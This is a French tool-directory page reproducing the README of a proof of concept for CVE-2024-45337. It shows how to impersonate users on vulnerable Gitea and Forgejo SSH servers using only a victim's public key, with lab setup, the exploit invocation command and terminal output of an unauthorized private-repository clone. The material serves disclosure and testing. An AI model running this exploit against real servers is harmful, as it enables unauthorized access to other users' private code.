Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-45337 — Proof of Concept for CVE-2024-45337 against Gitea and Forgejo | Kitploit
Outils/GitHubGitHub/peace-maker/cve-2024-45337
Privilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingAuthentication
GitHubpeace-maker/cve-2024-45337

CVE-2024-45337

Proof of Concept for CVE-2024-45337 against Gitea and Forgejo

Voir le dépôt
1il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Preuve de concept pour CVE-2024-45337

Ce dépôt contient une preuve de concept pour CVE-2024-45337. Elle peut être utilisée pour envelopper ssh lors de l'interaction avec un serveur SSH implémenté à l'aide de golang.org/x/crypto <= v0.30.0, tout en mettant en cache les permissions dans le rappel ServerConfig.PublicKeyCallback de manière non sécurisée.

Gitea <= 1.22.4 et Forgejo <= 7.0.11, 9.0.2 sont vulnérables lorsqu'ils sont hébergés avec le serveur SSH interne. Vous pouvez usurper l'identité de n'importe quel utilisateur tant que vous connaissez l'une des clés publiques associées à son compte. Vous devez avoir un compte vous-même que vous utilisez pour l'authentification SSH.

Exécution de la PoC

  1. Démarrez une instance vulnérable de forgejo ou gitea. Les images Docker de Gitea ne sont pas vulnérables, vous devrez donc exécuter avec un binaire natif.
root@kitploit:~
docker compose -f docker-compose.forgejo.yml up -d
  1. Installez en changeant le port SSH en 22 sur http://localhost:3000
  2. Enregistrez un utilisateur victim
    1. Ajoutez la clé publique de la victime au compte sur http://localhost:3000/user/settings/keys
    2. Créez un dépôt privé appelé important_repo et générez un commit initial avec un README pour avoir quelque chose à cloner
  3. Enregistrez un utilisateur attacker
    1. Ajoutez la clé publique de l'attaquant au compte sur http://localhost:3000/user/settings/keys
  4. Clonez le dépôt en utilisant le compte de l'attaquant
    1. Définissez GIT_ATTACK_PRIVKEY sur le chemin de la clé privée du compte valide
    2. Définissez GIT_ATTACK_PUBKEY sur le chemin de la clé publique connue du compte cible. Nous ne connaissons pas la clé privée de celui-ci.
    3. Définissez GIT_SSH sur le chemin du script d'exploitation pour dire à git d'utiliser ceci à la place de la commande ssh native
root@kitploit:~
GIT_ATTACK_PRIVKEY=./id_ed25519_attacker GIT_ATTACK_PUBKEY=./id_ed25519_victim.pub GIT_SSH_VARIANT=ssh GIT_SSH=./ssh_cve-2024-45337.py git clone ssh://git@localhost:222/victim/important_repo.git

Démonstration

Utilisez .ssh/config pour spécifier les clés lors du clonage

root@kitploit:~
Host sshvictim
 Hostname localhost
 Port 222
 User git
 IdentityFile /path/to/id_ed25519_victim
 IdentitiesOnly yes
Host sshattacker
 Hostname localhost
 Port 222
 User git
 IdentityFile /path/to/id_ed25519_attacker
 IdentitiesOnly yes

Exécution contre un conteneur local Forgejo 7.0.11 configuré comme ci-dessus.

root@kitploit:~
$ ssh-keygen -t ed25519 -f id_ed25519_victim
$ ssh-keygen -t ed25519 -f id_ed25519_attacker
$ git clone sshattacker:victim/important_repo.git
Cloning into 'important_repo'...
Forgejo: User: 2:attacker with Key: 2:attacker is not authorized to read victim/important_repo.
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.
$ git clone sshvictim:victim/important_repo.git
Cloning into 'important_repo'...
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (3/3), done.

# Suppression de la clé privée de la victime pour la démonstration
$ rm -rf important_repo id_ed25519_victim
$ GIT_ATTACK_PRIVKEY=./id_ed25519_attacker GIT_ATTACK_PUBKEY=./id_ed25519_victim.pub GIT_SSH_VARIANT=ssh GIT_SSH=./ssh_cve-2024-45337.py git clone ssh://git@localhost:222/victim/important_repo.git
Cloning into 'important_repo'...
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (3/3), done.
Télécharger l’outil